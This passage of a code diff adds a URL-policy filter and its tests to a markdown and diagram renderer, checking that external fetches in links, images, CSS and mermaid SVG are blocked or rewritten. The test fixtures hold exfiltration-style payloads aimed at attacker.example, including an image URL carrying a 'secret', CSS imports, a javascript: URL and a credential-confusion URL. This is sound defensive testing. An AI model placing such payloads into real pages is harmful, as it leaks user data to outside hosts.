+
+    // Snapshot: the loop removes attributes as it goes.
+    for (const attr of Array.from(el.attributes)) {
+      // `xlink:href` arrives from the HTML parser as a namespaced attribute
+      // whose local name is plain `href`, so match on the local name and use
+      // the qualified name only for reporting and removal.
+      const local = (attr.localName || attr.name).toLowerCase()
+      const value = attr.value
+
+      if (local === 'style') {
+        if (value !== '') el.setAttribute(attr.name, filterCssUrls(value, source, tagName))
+        continue
+      }
+      if (URL_LIST_ATTR_NAMES.has(local)) {
+        const filtered = filterSrcset(value, source, tagName)
+        if (filtered === null) el.removeAttribute(attr.name)
+        else el.setAttribute(attr.name, filtered)
+        continue
+      }
+      if (!URL_ATTR_NAMES.has(local)) continue
+      if (value === '') continue
+
+      const decided = applyUrlPolicy(value, sinkForAttribute(tagName, local), source, tagName, attr.name)
+      if (decided === null) el.removeAttribute(attr.name)
+      else if (decided !== value) el.setAttribute(attr.name, decided)
+    }
+  }
+}
+
+/**
+ * Parse `html` in a document with no browsing context, apply
+ * {@link filterMarkupUrls}, and return the filtered nodes ready to be imported
+ * into a live tree. Nothing in the parsed document loads, so an off-origin
+ * subresource never gets the chance to fire before the policy sees it.
+ *
+ * Returns `null` when the environment has no `DOMParser` (the caller falls back
+ * to the unfiltered string path).
+ */
+export function parseAndFilterMarkup(html: string, source: UrlSource): Element | null {
+  const parsed = parseInert(html)
+  if (parsed === null) return null
+  filterMarkupUrls(parsed, source)
+  return parsed
+}
+
+/**
+ * Parse into a document with no browsing context — the property the whole pass
+ * rests on, since such a document fetches nothing while we decide what to keep.
+ * Returns `null` where there is no `DOMParser` (a DOM-free SSR host), and the
+ * caller falls back to its ordinary unfiltered path.
+ */
+function parseInert(html: string): Element | null {
+  if (typeof DOMParser === 'undefined') return null
+  const doc = new DOMParser().parseFromString(`<div>${html}</div>`, 'text/html')
+  return doc.body.firstElementChild
+}
+
+/**
+ * String-in/string-out variant for a host wiring the policy up through
+ * `transformSvg` / `transformHtml` by hand, or serializing outside a DOM sink.
+ * Prefer the node path ({@link parseAndFilterMarkup}) where the markup is going
+ * straight into an element — it avoids the re-parse and the injection sink.
+ *
+ * Note this path re-serializes: even with nothing filtered the output is not
+ * byte-identical to the input (`<image/>` comes back as `<image></image>`, and
+ * attribute quoting is normalized). Semantics are preserved; exact bytes are not.
+ */
+export function filterMarkupUrlsString(html: string, source: UrlSource): string {
+  const holder = parseAndFilterMarkup(html, source)
+  return holder === null ? html : holder.innerHTML
+}
+
+/**
+ * Filter `html` and place it into `target` via the node path, returning `true`
+ * when it handled the injection. Returns `false` when no {@link UrlPolicy} is
+ * installed or the environment has no `DOMParser`, leaving the caller to use its
+ * ordinary string sink — so behaviour with the feature off is unchanged.
+ *
+ * Because the nodes are imported rather than assigned through `innerHTML`, this
+ * path touches no injection sink and needs no Trusted Types blessing for markup
+ * the package did not sanitize.
+ */
+export function injectFilteredMarkup(
+  target: Element,
+  html: string | { toString(): string },
+  source: UrlSource,
+): boolean {
+  if (!hasUrlPolicy()) return false
+  const holder = parseAndFilterMarkup(String(html), source)
+  if (holder === null) return false
+  const doc = target.ownerDocument
+  target.replaceChildren(...Array.from(holder.childNodes, (node) => doc.importNode(node, true)))
+  return true
+}
diff --git a/src/url-policy-coverage.test.ts b/src/url-policy-coverage.test.ts
new file mode 100644
index 0000000..06c6315
--- /dev/null
+++ b/src/url-policy-coverage.test.ts
@@ -0,0 +1,160 @@
+// PROTOTYPE (#url-policy): the completeness guard for "the policy sees every URL".
+//
+// That claim cannot be established by auditing call sites — the call sites are
+// the thing being audited, and hand-enumeration is exactly what let `@import "…"`,
+// `image-set("…")`, `srcset` and `poster` through. So this suite inverts the
+// test: install a policy that blocks everything, render a corpus that exercises
+// every URL-emitting construct, and assert that **no external URL survives
+// anywhere in the output**.
+//
+// The scan deliberately does NOT use the package's own attribute classifier —
+// it walks every attribute of every element regardless of name, plus `<style>`
+// text. Reusing the classifier would only prove the classifier agrees with
+// itself; scanning blind is what catches a sink nobody thought to classify.
+//
+// Corpus rule: URLs appear only in destination positions, never in link text,
+// `alt`, or `title` — a URL sitting in prose is not a sink, and would be a false
+// positive here.
+import '../tests/setup-dom-jsdom.ts'
+import { describe, it } from 'node:test'
+import assert from 'node:assert/strict'
+import { withConfig } from './config.ts'
+import { renderMarkdownUnsafe } from './renderer.ts'
+import { sanitizeRenderedMarkdown } from './sanitize.ts'
+import { filterMarkupUrlsString } from './url-filter-markup.ts'
+import type { UrlPolicy } from './url-policy.ts'
+
+/** Blocks unconditionally: nothing it is shown may reach the output. */
+const BLOCK_ALL: UrlPolicy = { baseOrigin: 'https://app.example.com', createURL: () => null }
+
+// Any absolute destination the browser could fetch or navigate to. Deliberately
+// broad — the point is to catch a value we failed to recognize as a URL.
+const EXTERNAL_URL_RE = /(?:https?|ftps?|ws?s):\/\/[^\s"'()<>]+/i
+
+/**
+ * Every place markup can hide a URL, scanned without reference to the
+ * package's own idea of which attributes carry one.
+ */
+function survivingUrls(html: string): string[] {
+  const host = document.createElement('div')
+  host.innerHTML = html
+  const found: string[] = []
+  for (const el of host.querySelectorAll('*')) {
+    for (const attr of Array.from(el.attributes)) {
+      // Namespace declarations hold a URI that identifies a vocabulary and is
+      // never dereferenced — `xmlns="http://www.w3.org/1999/xhtml"` on every
+      // foreignObject child would otherwise read as an unpoliced sink.
+      const name = attr.name.toLowerCase()
+      if (name === 'xmlns' || name.startsWith('xmlns:')) continue
+      const hit = EXTERNAL_URL_RE.exec(attr.value)
+      if (hit) found.push(`${el.tagName.toLowerCase()}[${attr.name}] = ${hit[0]}`)
+    }
+    if (el.tagName.toLowerCase() === 'style') {
+      const hit = EXTERNAL_URL_RE.exec(el.textContent ?? '')
+      if (hit) found.push(`<style> = ${hit[0]}`)
+    }
+  }
+  return found
+}
+
+// Widened the way an image/media-rendering host widens it. Every one of these is
+// a sink the core allowlist does not open on its own, and each is a chance for
+// the gate to miss an attribute it was not told about by name.
+const HOST_EXTENSION = {
+  allowedTags: ['img', 'video', 'source', 'iframe', 'object'],
+  allowedAttr: ['src', 'srcset', 'poster', 'data', 'alt'],
+}
+
+const MARKDOWN_CORPUS: Record<string, string> = {
+  'inline link': '[label](https://one.example/a)',
+  'inline image': '![label](https://two.example/b.png)',
+  'reference link': '[label][ref]\n\n[ref]: https://three.example/c',
+  'reference image': '![label][iref]\n\n[iref]: https://four.example/d.png',
+  'shortcut reference': '[short]\n\n[short]: https://five.example/e',
+  'angle autolink': '<https://six.example/f>',
+  'bare autolink': 'see https://seven.example/g here',
+  'www autolink': 'see www.eight.example/h here',
+  'email autolink': 'mail nine@ten.example now',
+  'link in emphasis': '**[label](https://eleven.example/i)**',
+  'link in a table': '| h |\n| --- |\n| [label](https://twelve.example/j) |',
+  'link in a list item': '- [label](https://thirteen.example/k)',
+  'link in a blockquote': '> [label](https://fourteen.example/l)',
+  'link in a footnote': 'text[^1]\n\n[^1]: [label](https://fifteen.example/m)',
+  'link in a task list': '- [ ] [label](https://sixteen.example/n)',
+  'raw anchor': '<a href="https://seventeen.example/o">label</a>',
+  'raw image': '<img src="https://eighteen.example/p.png" alt="label">',
+  'raw srcset': '<img srcset="https://nineteen.example/q.png 1x" alt="label">',
+  'raw video poster': '<video poster="https://twenty.example/r.png"></video>',
+  'raw source src': '<video><source src="https://twentyone.example/s.mp4"></video>',
+  'raw iframe': '<iframe src="https://twentytwo.example/t"></iframe>',
+  'raw object data': '<object data="https://twentythree.example/u"></object>',
+  'raw style attribute': '<div style="background: url(https://twentyfour.example/v)">x</div>',
+}
+
+describe('urlPolicy completeness — markdown surface', () => {
+  for (const [name, markdown] of Object.entries(MARKDOWN_CORPUS)) {
+    it(`lets no URL through: ${name}`, () => {
+      const html = withConfig({ urlPolicy: BLOCK_ALL, sanitizeExtension: HOST_EXTENSION }, () =>
+        sanitizeRenderedMarkdown(renderMarkdownUnsafe(markdown)),
+      )
+      assert.deepEqual(survivingUrls(html), [], `unpoliced sink in "${name}": ${html}`)
+    })
+  }
+
+  it('lets no URL through the whole corpus at once', () => {
+    const all = Object.values(MARKDOWN_CORPUS).join('\n\n')
+    const html = withConfig({ urlPolicy: BLOCK_ALL, sanitizeExtension: HOST_EXTENSION }, () =>
+      sanitizeRenderedMarkdown(renderMarkdownUnsafe(all)),
+    )
+    assert.deepEqual(survivingUrls(html), [])
+  })
+
+  it('also holds on the unsanitized path, which never reaches the sink', () => {
+    // Raw passthrough is gated at the sink by design — it never meets the inline
+    // emitters — so `renderMarkdownUnsafe` output can only be held to the
+    // constructs the renderer itself turns into links and images.
+    const emitted = Object.entries(MARKDOWN_CORPUS)
+      .filter(([name]) => !name.startsWith('raw '))
+      .map(([, markdown]) => markdown)
+      .join('\n\n')
+    const html = withConfig({ urlPolicy: BLOCK_ALL }, () => renderMarkdownUnsafe(emitted))
+    assert.deepEqual(survivingUrls(html), [])
+  })
+})
+
+// The post-sink tier: markup a backend produced that never met the sanitizer.
+// Shapes taken from what real mermaid 11 emits, plus the CSS forms that slipped
+// past pattern matching. In jsdom this exercises the no-CSSOM fallback; the
+// CSSOM path is covered by the browser probe (see filterStyleElement).
+const POST_SINK_CORPUS: Record<string, string> = {
+  'foreignObject img': '<svg><foreignObject><div xmlns="http://www.w3.org/1999/xhtml"><img src="https://a1.example/a.png"></div></foreignObject></svg>',
+  'svg image href': '<svg><image href="https://a2.example/b.png"/></svg>',
+  'svg image xlink': '<svg><image xlink:href="https://a3.example/c.png"/></svg>',
+  'svg anchor': '<svg><a xlink:href="https://a4.example/d"><text>x</text></a></svg>',
+  'style url()': '<svg><style>.n{background:url(https://a5.example/e)}</style></svg>',
+  'style @import string': '<svg><style>@import "https://a6.example/f";</style></svg>',
+  'style @import url()': '<svg><style>@import url(https://a7.example/g);</style></svg>',
+  'style image-set': '<svg><style>.n{background-image:image-set("https://a8.example/h" 1x)}</style></svg>',
+  'style -webkit-image-set': '<svg><style>.n{background-image:-webkit-image-set("https://a9.example/i" 1x)}</style></svg>',
+  'style @font-face src': '<svg><style>@font-face{font-family:f;src:url(https://b1.example/j)}</style></svg>',
+  'style attribute': '<svg><g style="background:url(https://b2.example/k)"></g></svg>',
+  'srcset in foreignObject': '<svg><foreignObject><div xmlns="http://www.w3.org/1999/xhtml"><img srcset="https://b3.example/l.png 1x"></div></foreignObject></svg>',
+}
+
+describe('urlPolicy completeness — post-sink markup', () => {
+  for (const [name, markup] of Object.entries(POST_SINK_CORPUS)) {
+    it(`lets no URL through: ${name}`, () => {
+      const out = withConfig({ urlPolicy: BLOCK_ALL }, () =>
+        filterMarkupUrlsString(markup, 'diagram'),
+      )
+      assert.deepEqual(survivingUrls(out), [], `unpoliced sink in "${name}": ${out}`)
+    })
+  }
+
+  it('keeps same-document fragment references, which are not a channel', () => {
+    const markup = '<svg><use href="#node"/><g style="marker-end:url(#arrow)"></g></svg>'
+    const out = withConfig({ urlPolicy: BLOCK_ALL }, () => filterMarkupUrlsString(markup, 'diagram'))
+    assert.match(out, /href="#node"/)
+    assert.match(out, /url\(#arrow\)/)
+  })
+})
diff --git a/src/url-policy.test.ts b/src/url-policy.test.ts
new file mode 100644
index 0000000..639eaee
--- /dev/null
+++ b/src/url-policy.test.ts
@@ -0,0 +1,497 @@
+// PROTOTYPE (#url-policy). jsdom because the sink gate, the post-sink markup
+// filter and the mermaid hydration path all run over real parsed elements.
+import '../tests/setup-dom-jsdom.ts'
+import { describe, it } from 'node:test'
+import assert from 'node:assert/strict'
+import { withConfig } from './config.ts'
+import { renderMarkdownUnsafe } from './renderer.ts'
+import { sanitizeRenderedMarkdown } from './sanitize.ts'
+import { filterMarkupUrlsString } from './url-filter-markup.ts'
+import { hydratePendingDiagrams, type DiagramRenderer } from './mermaid.ts'
+import { hydratePendingMath, type MathRenderer } from './math.ts'
+import type { UrlPolicy, UrlRequest } from './url-policy.ts'
+
+const APP = 'https://app.example.com'
+
+/** A policy that records every request and answers with `decide`. */
+function recordingPolicy(decide: (r: UrlRequest) => string | null): {
+  policy: UrlPolicy
+  seen: UrlRequest[]
+} {
+  const seen: UrlRequest[] = []
+  return {
+    seen,
+    policy: {
+      baseOrigin: APP,
+      createURL(request) {
+        seen.push(request)
+        return decide(request)
+      },
+    },
+  }
+}
+
+/** Block anything the browser would fetch unattended; allow navigation anywhere. */
+const blockSubresources = (r: UrlRequest): string | null =>
+  r.sink === 'navigation' ? (r.url?.href ?? r.raw) : null
+
+const IMG_EXTENSION = { allowedTags: ['img'], allowedAttr: ['src', 'alt'] }
+
+describe('urlPolicy — off by default', () => {
+  it('leaves rendered output byte-identical and stamps no marker', () => {
+    const md = '[docs](https://docs.example.com/p) ![x](https://cdn.example.com/a.png) <https://auto.example.com>'
+    const html = renderMarkdownUnsafe(md)
+    assert.doesNotMatch(html, /data-smd-url-checked/)
+    assert.match(html, /href="https:\/\/docs\.example\.com\/p"/)
+    assert.match(html, /src="https:\/\/cdn\.example\.com\/a\.png"/)
+  })
+})
+
+describe('urlPolicy — the markdown surface', () => {
+  it('sees links, images and autolinks with the right sink', () => {
+    const { policy, seen } = recordingPolicy((r) => r.raw)
+    withConfig({ urlPolicy: policy }, () =>
+      renderMarkdownUnsafe(
+        '[a](https://one.example/) ![b](https://two.example/i.png) <https://three.example/> and https://four.example/',
+      ),
+    )
+    // Sorted: autolinks are linkified in an earlier pass than markdown links, and
+    // that pass order is an implementation detail, not part of the contract.
+    const bySink = seen.map((r) => `${r.sink}:${r.raw}`).sort()
+    assert.deepEqual(bySink, [
+      'image:https://two.example/i.png',
+      'navigation:https://four.example/',
+      'navigation:https://one.example/',
+      'navigation:https://three.example/',
+    ])
+    assert.equal(seen.length, 4, 'each destination is presented exactly once')
+  })
+
+  it('neutralizes a blocked image but keeps its alt, and leaves the link beside it', () => {
+    const { policy } = recordingPolicy(blockSubresources)
+    const html = withConfig({ urlPolicy: policy }, () =>
+      renderMarkdownUnsafe('[keep](https://one.example/) ![drop](https://two.example/i.png)'),
+    )
+    assert.match(html, /href="https:\/\/one\.example\/"/)
+    assert.match(html, /<img alt="drop"/, 'element and alt survive')
+    assert.doesNotMatch(html, /two\.example/, 'nothing is left to fetch')
+  })
+
+  it('emits a rewritten destination — the point of returning a value', () => {
+    const { policy } = recordingPolicy((r) =>
+      r.sink === 'image' ? `${APP}/proxy?u=${encodeURIComponent(r.raw)}` : r.raw,
+    )
+    const html = withConfig({ urlPolicy: policy, sanitizeExtension: IMG_EXTENSION }, () =>
+      sanitizeRenderedMarkdown(renderMarkdownUnsafe('![x](https://cdn.example.com/a.png)')),
+    )
+    assert.match(html, /src="https:\/\/app\.example\.com\/proxy\?u=https%3A%2F%2Fcdn\.example\.com%2Fa\.png"/)
+  })
+
+  it('hands the policy a canonical URL, so credential tricks cannot fool a prefix test', () => {
+    const { policy, seen } = recordingPolicy((r) => r.raw)
+    withConfig({ urlPolicy: policy }, () =>
+      renderMarkdownUnsafe('[x](https://good.example.com@evil.example/path)'),
+    )
+    assert.equal(seen[0]?.url?.origin, 'https://evil.example')
+    assert.doesNotMatch(seen[0]?.url?.href ?? '', /good\.example\.com/)
+  })
+
+  it('resolves a relative destination against baseOrigin', () => {
+    const { policy, seen } = recordingPolicy((r) => r.raw)
+    withConfig({ urlPolicy: policy }, () => renderMarkdownUnsafe('[x](/docs/page)'))
+    assert.equal(seen[0]?.url?.href, `${APP}/docs/page`)
+  })
+})
+
+describe('urlPolicy — the scheme allowlist stays a floor', () => {
+  it('never presents a javascript: destination to the policy', () => {
+    const { policy, seen } = recordingPolicy((r) => r.raw)
+    const html = withConfig({ urlPolicy: policy }, () =>
+      renderMarkdownUnsafe('[x](javascript:alert(1)) [y](https://ok.example/)'),
+    )
+    assert.deepEqual(
+      seen.map((r) => r.raw),
+      ['https://ok.example/'],
+    )
+    // The rejected destination stays literal text (no link is built at all), so
+    // the assertion is about live attributes, not the substring.
+    assert.doesNotMatch(html, /href="javascript:/)
+    assert.match(html, /\[x\]\(javascript:alert\(1\)\)/, 'left as literal text')
+  })
+
+  it('cannot be talked into a dangerous scheme by a policy that returns one', () => {
+    // The policy tries to swap a safe destination for a scriptable one. This has
+    // to fail on the UNSANITIZED path too, or the guarantee is really just the
+    // sink's, and post-sink diagram markup would have no floor at all.
+    const policy: UrlPolicy = { createURL: () => 'javascript:alert(1)' }
+    const unsafe = withConfig({ urlPolicy: policy }, () =>
+      renderMarkdownUnsafe('[x](https://ok.example/)'),
+    )
+    assert.doesNotMatch(unsafe, /javascript:/)
+    assert.match(unsafe, /<a[^>]*>x<\/a>/, 'anchor kept, destination dropped')
+
+    const svg = withConfig({ urlPolicy: policy }, () =>
+      filterMarkupUrlsString('<svg><a xlink:href="https://ok.example/"><text>x</text></a></svg>', 'diagram'),
+    )
+    assert.doesNotMatch(svg, /javascript:/)
+  })
+})
+
+describe('urlPolicy — raw HTML passthrough', () => {
+  it('gates a destination that never met the inline emitters', () => {
+    const { policy, seen } = recordingPolicy(blockSubresources)
+    const html = withConfig({ urlPolicy: policy }, () =>
+      sanitizeRenderedMarkdown(renderMarkdownUnsafe('<a href="https://raw.example/?leak=1">x</a>')),
+    )
+    assert.deepEqual(
+      seen.map((r) => r.raw),
+      ['https://raw.example/?leak=1'],
+    )
+    assert.match(html, /<a[^>]*>x<\/a>/)
+  })
+
+  it('does not present a renderer-emitted destination twice', () => {
+    const { policy, seen } = recordingPolicy((r) => r.raw)
+    withConfig({ urlPolicy: policy }, () =>
+      sanitizeRenderedMarkdown(renderMarkdownUnsafe('[x](https://one.example/)')),
+    )
+    assert.equal(seen.length, 1)
+  })
+
+  it('never leaks the internal marker into sanitized output', () => {
+    const { policy } = recordingPolicy((r) => r.raw)
+    const html = withConfig({ urlPolicy: policy }, () =>
+      sanitizeRenderedMarkdown(renderMarkdownUnsafe('[x](https://one.example/) <https://two.example/>')),
+    )
+    assert.doesNotMatch(html, /data-smd-url-checked/)
+  })
+})
+
+describe('urlPolicy — post-sink markup (mermaid SVG shape)', () => {
+  // The real shapes mermaid 11 emits: an HTML label inside <foreignObject>, an
+  // injected themeCSS <style>, a click-directive <a xlink:href>, and the marker
+  // fragment refs every diagram carries.
+  const SVG =
+    '<svg>' +
+    '<style>.nodeLabel { background-image: url(https://attacker.example/css); }' +
+    '.edge { marker-end: url(#arrow-end); }</style>' +
+    '<a xlink:href="https://attacker.example/click"><text>x</text></a>' +
+    '<image href="https://attacker.example/pixel.png"/>' +
+    '<use href="#node-shape"/>' +
+    '<foreignObject><div xmlns="http://www.w3.org/1999/xhtml">' +
+    '<img src="https://attacker.example/leak?d=secret">' +
+    '</div></foreignObject>' +
+    '</svg>'
+
+  it('strips every automatic fetch, including through foreignObject and CSS', () => {
+    const { policy } = recordingPolicy(blockSubresources)
+    const out = withConfig({ urlPolicy: policy }, () => filterMarkupUrlsString(SVG, 'diagram'))
+    assert.doesNotMatch(out, /attacker\.example\/leak/, 'foreignObject <img> src')
+    assert.doesNotMatch(out, /attacker\.example\/pixel/, 'SVG <image href>')
+    assert.doesNotMatch(out, /attacker\.example\/css/, 'url() in <style>')
+    assert.match(out, /about:blank/, 'blocked url() is neutralized, not emptied')
+  })
+
+  it('preserves same-document fragment refs, or every arrowhead disappears', () => {
+    const { policy, seen } = recordingPolicy(blockSubresources)
+    const out = withConfig({ urlPolicy: policy }, () => filterMarkupUrlsString(SVG, 'diagram'))
+    assert.match(out, /url\(["']?#arrow-end["']?\)/, 'CSS parser re-serializes; the ref survives')
+    assert.match(out, /href="#node-shape"/)
+    assert.equal(
+      seen.some((r) => r.raw.startsWith('#')),
+      false,
+      'the policy is not even consulted for bare fragments',
+    )
+  })
+
+  it('classifies a click-directive anchor as navigation, not a fetch', () => {
+    const { policy, seen } = recordingPolicy(blockSubresources)
+    const out = withConfig({ urlPolicy: policy }, () => filterMarkupUrlsString(SVG, 'diagram'))
+    const anchor = seen.find((r) => r.element === 'a')
+    assert.equal(anchor?.sink, 'navigation')
+    assert.equal(anchor?.source, 'diagram')
+    assert.match(out, /attacker\.example\/click/, 'navigation survives this policy')
+  })
+
+  it('is a no-op with no policy installed', () => {
+    assert.equal(filterMarkupUrlsString(SVG, 'diagram'), filterMarkupUrlsString(SVG, 'diagram'))
+    const out = filterMarkupUrlsString(SVG, 'diagram')
+    assert.match(out, /attacker\.example\/leak/)
+  })
+})
+
+describe('urlPolicy — mermaid hydration end to end', () => {
+  const MERMAID_MD = '```mermaid\ngraph TD\nA[Start] --> B[End]\n```'
+  const EVIL_SVG =
+    '<svg><foreignObject><div xmlns="http://www.w3.org/1999/xhtml">' +
+    '<img src="https://attacker.example/leak?d=secret"></div></foreignObject>' +
+    '<use href="#marker"/></svg>'
+
+  function pendingHost(): HTMLElement {
+    const host = document.createElement('div')
+    host.innerHTML = renderMarkdownUnsafe(MERMAID_MD)
+    return host
+  }
+
+  const stub: DiagramRenderer = { render: () => Promise.resolve({ svg: EVIL_SVG }) }
+
+  it('filters the backend SVG before it reaches the container', async () => {
+    const { policy } = recordingPolicy(blockSubresources)
+    const host = pendingHost()
+    const count = await hydratePendingDiagrams(host, { renderer: stub, urlPolicy: policy })
+
+    assert.equal(count, 1)
+    assert.equal(host.querySelector('img')?.hasAttribute('src'), false)
+    assert.ok(host.querySelector('.mermaid-diagram--rendered'), 'still marked rendered')
+    assert.equal(host.querySelector('use')?.getAttribute('href'), '#marker')
+  })
+
+  it('does not leave a container in both the rendered and error states', async () => {
+    // Both injection sinks can throw (Trusted Types rejects the filter's own
+    // DOMParser call under enforcement), and the caller then marks the diagram
+    // errored — the two state classes must never coexist.
+    const throwing: DiagramRenderer = { render: () => Promise.resolve({ svg: EVIL_SVG }) }
+    const host = pendingHost()
+    const exploding: UrlPolicy = {
+      createURL() {
+        throw new Error('policy blew up mid-injection')
+      },
+    }
+    const count = await hydratePendingDiagrams(host, { renderer: throwing, urlPolicy: exploding })
+
+    assert.equal(count, 0)
+    const container = host.querySelector('.mermaid-diagram')
+    assert.equal(container?.classList.contains('mermaid-diagram--error'), true)
+    assert.equal(container?.classList.contains('mermaid-diagram--rendered'), false)
+    assert.ok(host.querySelector('pre.mermaid'), 'inert source stays visible')
+  })
+
+  it('leaves the SVG untouched when no policy is supplied', async () => {
+    const host = pendingHost()
+    await hydratePendingDiagrams(host, { renderer: stub })
+    assert.equal(
+      host.querySelector('img')?.getAttribute('src'),
+      'https://attacker.example/leak?d=secret',
+    )
+  })
+})
+
+describe('urlPolicy — the rest of the URL-bearing surface', () => {
+  it('polices each srcset candidate independently', () => {
+    const { policy } = recordingPolicy((r) =>
+      r.raw.includes('ok.example') ? r.raw : null,
+    )
+    const out = withConfig({ urlPolicy: policy }, () =>
+      filterMarkupUrlsString(
+        '<img srcset="https://ok.example/1x.png 1x, https://bad.example/2x.png 2x">',
+        'diagram',
+      ),
+    )
+    assert.match(out, /srcset="https:\/\/ok\.example\/1x\.png 1x"/)
+    assert.doesNotMatch(out, /bad\.example/)
+  })
+
+  it('drops the srcset attribute when no candidate survives', () => {
+    const { policy } = recordingPolicy(() => null)
+    const out = withConfig({ urlPolicy: policy }, () =>
+      filterMarkupUrlsString('<img srcset="https://bad.example/2x.png 2x">', 'diagram'),
+    )
+    assert.doesNotMatch(out, /srcset/)
+  })
+
+  it('neutralizes url() in a style attribute, not just a <style> element', () => {
+    const { policy, seen } = recordingPolicy(blockSubresources)
+    const out = withConfig({ urlPolicy: policy }, () =>
+      filterMarkupUrlsString(
+        '<div style="background-image: url(https://attacker.example/x)">y</div>',
+        'diagram',
+      ),
+    )
+    assert.doesNotMatch(out, /attacker\.example/)
+    assert.match(out, /about:blank/)
+    assert.equal(seen[0]?.sink, 'style')
+  })
+
+  it('hands the policy url: null when the destination does not resolve', () => {
+    const seen: UrlRequest[] = []
+    // An empty baseOrigin is a base the URL parser rejects, so a relative
+    // destination resolves to nothing — the policy still gets to decide.
+    const policy: UrlPolicy = {
+      baseOrigin: '',
+      createURL(request) {
+        seen.push(request)
+        return request.raw
+      },
+    }
+    withConfig({ urlPolicy: policy }, () => renderMarkdownUnsafe('[x](/relative/page)'))
+    assert.equal(seen[0]?.url, null)
+    assert.equal(seen[0]?.raw, '/relative/page')
+  })
+})
+
+describe('urlPolicy — math hydration', () => {
+  const MATH_MD = '```math\nE = mc^2\n```'
+  const EVIL_HTML = '<span class="katex"><img src="https://attacker.example/leak"></span>'
+  const stub: MathRenderer = { render: () => Promise.resolve({ html: EVIL_HTML }) }
+
+  function pendingHost(): HTMLElement {
+    const host = document.createElement('div')
+    host.innerHTML = renderMarkdownUnsafe(MATH_MD)
+    return host
+  }
+
+  it('filters backend HTML before it reaches the element', async () => {
+    const { policy } = recordingPolicy(blockSubresources)
+    const host = pendingHost()
+    const count = await hydratePendingMath(host, { renderer: stub, urlPolicy: policy })
+
+    assert.equal(count, 1)
+    assert.equal(host.querySelector('img')?.hasAttribute('src'), false)
+    assert.ok(host.querySelector('.math-block--rendered'))
+  })
+
+  it('leaves it untouched when no policy is supplied', async () => {
+    const host = pendingHost()
+    await hydratePendingMath(host, { renderer: stub })
+    assert.equal(host.querySelector('img')?.getAttribute('src'), 'https://attacker.example/leak')
+  })
+})
+
+describe('urlPolicy — filter edge cases', () => {
+  const filter = (markup: string, decide: (r: UrlRequest) => string | null): string => {
+    const { policy } = recordingPolicy(decide)
+    return withConfig({ urlPolicy: policy }, () => filterMarkupUrlsString(markup, 'diagram'))
+  }
+
+  it('leaves an empty attribute and an empty url() alone', () => {
+    const out = filter('<img src=""><div style="background: url()">x</div>', () => null)
+    assert.match(out, /src=""/, 'nothing to decide, nothing removed')
+    assert.match(out, /url\(\)/)
+  })
+
+  it('handles quoted url() forms and rewrites in place', () => {
+    const out = filter(
+      `<style>a { background: url("https://cdn.example/a.png"); } b { background: url('https://cdn.example/b.png'); }</style>`,
+      (r) => r.raw.replace('cdn.example', 'proxy.example'),
+    )
+    assert.match(out, /url\("https:\/\/proxy\.example\/a\.png"\)/)
+    assert.match(out, /url\("https:\/\/proxy\.example\/b\.png"\)/)
+  })
+
+  it('preserves every URL when the policy returns each one unchanged', () => {
+    // Not byte-identical: the STRING path re-serializes (`<image/>` comes back as
+    // `<image></image>`), which is why the node path is preferred for a DOM sink.
+    const markup =
+      '<svg><image href="https://cdn.example/a.png"/><style>a{background:url(https://cdn.example/b.png)}</style></svg>'
+    const out = filter(markup, (r) => r.raw)
+    assert.match(out, /href="https:\/\/cdn\.example\/a\.png"/)
+    assert.match(out, /url\(["']?https:\/\/cdn\.example\/b\.png["']?\)/)
+  })
+
+  it('skips an empty <style> and non-URL attributes', () => {
+    const out = filter('<style></style><div class="x" data-y="z">t</div>', () => null)
+    assert.match(out, /class="x"/)
+    assert.match(out, /data-y="z"/)
+  })
+})
+
+describe('urlPolicy — CSS filtering without a CSS parser', () => {
+  // The no-CSSStyleSheet fallback: an SSR shim with a DOM but no CSSOM. Its
+  // output can still end up in a browser, so each author syntax is scanned
+  // directly. Exercised by removing the global for the duration of the call.
+  const withoutCssom = <T,>(fn: () => T): T => {
+    const globals = globalThis as { CSSStyleSheet?: unknown }
+    const saved = globals.CSSStyleSheet
+    delete globals.CSSStyleSheet
+    try {
+      return fn()
+    } finally {
+      if (saved !== undefined) globals.CSSStyleSheet = saved
+    }
+  }
+
+  const filterCss = (css: string, decide: (r: UrlRequest) => string | null): string => {
+    const { policy } = recordingPolicy(decide)
+    return withoutCssom(() =>
+      withConfig({ urlPolicy: policy }, () =>
+        filterMarkupUrlsString(`<svg><style>${css}</style></svg>`, 'diagram'),
+      ),
+    )
+  }
+
+  it('catches @import in the string form, which url() matching misses', () => {
+    const out = filterCss('@import "https://attacker.example/a";', () => null)
+    assert.doesNotMatch(out, /attacker\.example/)
+  })
+
+  it('catches @import in the url() form', () => {
+    const out = filterCss('@import url(https://attacker.example/b);', () => null)
+    assert.doesNotMatch(out, /attacker\.example/)
+  })
+
+  it('catches the bare strings image-set accepts, in both spellings', () => {
+    const out = filterCss(
+      '.a{background-image:image-set("https://attacker.example/c" 1x)}' +
+        '.b{background-image:-webkit-image-set("https://attacker.example/d" 2x)}',
+      () => null,
+    )
+    assert.doesNotMatch(out, /attacker\.example/)
+  })
+
+  it('still honours a rewrite rather than only blocking', () => {
+    const out = filterCss('@import "https://cdn.example/e";', () => 'https://proxy.example/e')
+    assert.match(out, /proxy\.example/)
+    assert.doesNotMatch(out, /cdn\.example/)
+  })
+
+  it('leaves same-document fragment refs alone', () => {
+    const out = filterCss('.a{marker-end:url(#arrow)}', () => null)
+    assert.match(out, /url\(["']?#arrow["']?\)/)
+  })
+})
+
+describe('urlPolicy — CSS filtering through the CSS parser', () => {
+  const filterCss = (css: string, decide: (r: UrlRequest) => string | null): string => {
+    const { policy } = recordingPolicy(decide)
+    return withConfig({ urlPolicy: policy }, () =>
+      filterMarkupUrlsString(`<svg><style>${css}</style></svg>`, 'diagram'),
+    )
+  }
+
+  it('rewrites an @import rather than only blocking it', () => {
+    const out = filterCss('@import "https://cdn.example/a";', (r) =>
+      r.attribute === '@import' ? 'https://proxy.example/a' : r.raw,
+    )
+    assert.doesNotMatch(out, /cdn\.example/)
+    // Chromium drops @import from a constructible sheet outright (per the CSSOM
+    // spec) so nothing is left to rewrite; jsdom keeps the rule, and there the
+    // rewritten href must be what lands.
+    if (/@import/.test(out)) assert.match(out, /proxy\.example/)
+  })
+
+  it('presents @import to the policy with a style sink', () => {
+    const { policy, seen } = recordingPolicy(() => null)
+    withConfig({ urlPolicy: policy }, () =>
+      filterMarkupUrlsString('<svg><style>@import "https://a.example/x";</style></svg>', 'diagram'),
+    )
+    // Skipped entirely on an engine that drops @import before we ever see it.
+    if (seen.length > 0) {
+      assert.equal(seen[0]?.sink, 'style')
+      assert.equal(seen[0]?.attribute, '@import')
+    }
